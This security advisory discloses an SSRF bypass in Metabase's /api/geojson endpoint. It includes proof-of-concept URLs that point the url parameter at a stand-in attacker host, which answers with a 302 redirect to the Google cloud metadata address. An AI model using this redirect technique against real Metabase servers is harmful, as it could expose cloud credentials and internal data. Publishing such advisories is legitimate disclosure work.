SSRF in Metabase GeoJSON URL

A researcher at Tenable discovered an SSRF vulnerability in Metabase < 44.5.

Background

There is a feature in the /api/geojson endpoint of Metabase which will make a web request to a user-specified url on behalf of an authenticated user. This was reported as an SSRF vulnerability in 2021 as CVE-2021-41277. Metabase released a patch to prevent the loading of local files, and blacklist a number of specific hosts related to metadata endpoints for cloud-hosted Metabase instances.

Unfortunately, that patch did not account for 301 or 302 redirect responses, so the blacklist of such metadata endpoints could be circumvented.

Details

The blacklisting of link-local addresses can be circumvented using HTTP 301/302 redirects. Directing the url parameter to an attacker-controlled site which responds with a 301 or 302 redirect to an otherwise blocked ip address/domain allows an attacker to bypass the mitigation for CVE-2021-41277.

Proof of Concept:
Attempting to navigate to http://<metabaseHost>:3000/api/geojson?url=http://metadata.google.internal results in the error message: 
Invalid GeoJSON file location: must either start with http:// or https://...etc

However, navigating to an attacker controlled page http://<metabaseHost>:3000/api/geojson?url=http://attackerServer.example/ which responds with the following 302 response:

HTTP/1.0 302 Found
Server: BaseHTTP/0.6 Python/3.9.12
Date: Thu, 15 Sep 2022 20:24:43 GMT
Location: http://metadata.google.internal/

will redirect Metabase to the prohibited address (in this case, http://metadata.google.internal/), potentially allowing an attacker to reveal sensitive information.